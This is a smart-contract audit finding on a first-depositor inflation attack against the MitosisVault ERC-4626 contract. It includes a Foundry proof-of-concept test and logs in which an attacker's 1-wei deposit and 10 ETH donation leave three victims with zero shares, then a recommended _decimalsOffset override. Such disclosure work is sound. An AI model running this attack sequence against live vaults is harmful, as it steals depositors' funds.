First depositor inflation attack via missing _decimalsOffset() override in ERC-4626 vault
Description
There is an issue in the ERC-4626 implementation of the MitosisVault contract. The current implementation has the _decimalsOffset() function returning the default value of 0, making it susceptible to a first-depositor attack.
Examine Solady's ERC-4626 implementation:
/// @dev Override to return a non-zero value to make the inflation attack even more unfeasible.
/// Only used when {_useVirtualShares} returns true.
/// Default: 0.
///
/// - MUST NOT revert.
function _decimalsOffset() internal view virtual returns (uint8) {
return _DEFAULT_DECIMALS_OFFSET;
}
/// @dev The default decimals offset.
uint8 internal constant _DEFAULT_DECIMALS_OFFSET = 0;This _decimalsOffset function is used within the convertToShares function:
function convertToShares(uint256 assets) public view virtual returns (uint256 shares) {
if (!_useVirtualShares()) {
uint256 supply = totalSupply();
return _eitherIsZero(assets, supply)
? _initialConvertToShares(assets)
: FixedPointMathLib.fullMulDiv(assets, supply, totalAssets());
}
uint256 o = _decimalsOffset();
if (o == uint256(0)) {
return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 1, _inc(totalAssets()));
}
return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 10 ** o, _inc(totalAssets()));
}This issue becomes particularly concerning when the virtual supply is only 1 and multiple deposits of similar size occur within a single block. In this scenario, an attacker who happens to be the block proposer could exploit the first-depositor bug to gain an unfair advantage.
To verify this, a proof of concept (POC) test was created that demonstrates the attack vector:
function test_first_deposit_attack_to_multiple_deposits() public {
address victim1 = vm.addr(0x9708);
address victim2 = vm.addr(0x9709);
address victim3 = vm.addr(0x970a);
address attacker = vm.addr(0x9999);
vm.deal(attacker, 100 ether);
vm.deal(victim1, 100 ether);
vm.deal(victim2, 100 ether);
vm.deal(victim3, 100 ether);
vm.startPrank(attacker);
weth.deposit{ value: 100 ether }();
weth.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker);
console.log("attacker share in vault : %d", vault.balanceOf(attacker));
weth.transfer(address(vault), 10 ether);
vm.stopPrank();
vm.startPrank(victim1);
weth.deposit{ value: 100 ether }();
weth.approve(address(vault), type(uint256).max);
vault.deposit(5 ether, victim1);
console.log("victim1 share in vault : %d", vault.balanceOf(victim1));
vm.stopPrank();
vm.startPrank(victim2);
weth.deposit{ value: 100 ether }();
weth.approve(address(vault), type(uint256).max);
vault.deposit(6 ether, victim2);
console.log("victim2 share in vault : %d", vault.balanceOf(victim2));
vm.stopPrank();
vm.startPrank(victim3);
weth.deposit{ value: 100 ether }();
weth.approve(address(vault), type(uint256).max);
vault.deposit(7 ether, victim3);
console.log("victim3 share in vault : %d", vault.balanceOf(victim3));
vm.stopPrank();
vm.startPrank(attacker);
vault.redeem(1, attacker, attacker);
console.log("attacker balance after attack : %d", weth.balanceOf(attacker));
vm.stopPrank();
}As shown, the attacker deposits just 1 Wei, donates 10 ETH to the vault, and then when victims deposit 5 ETH, 6 ETH, and 7 ETH respectively, they receive zero shares:
attacker share in vault : 1
victim1 share in vault : 0
victim2 share in vault : 0
victim3 share in vault : 0
attacker balance after attack : 104000000000000000000The attacker ultimately redeems their single share for 104 ETH, representing a 4 ETH profit at the expense of other depositors.
Impact
This issue is particularly dangerous in MEV-prone environments or when multiple transactions are included in the same block by a malicious proposer.
Recommendations
To mitigate this issue, it is recommended to override the _decimalsOffset() function to return a value 6--8, which is a common mitigation strategy in ERC-4626 implementations to prevent first-depositor attacks.
function _decimalsOffset() internal view virtual override returns (uint8) {
return 6; // or an appropriate value between 6-8
}This change would significantly strengthen the contract against first-depositor attacks. A higher decimals' offset value normalizes the initial share ratio, making it more difficult for attackers to gain disproportionate benefits.
Remediation
This issue has been acknowledged by Mitosis, and a fix was implemented in commit 65b4febd↗.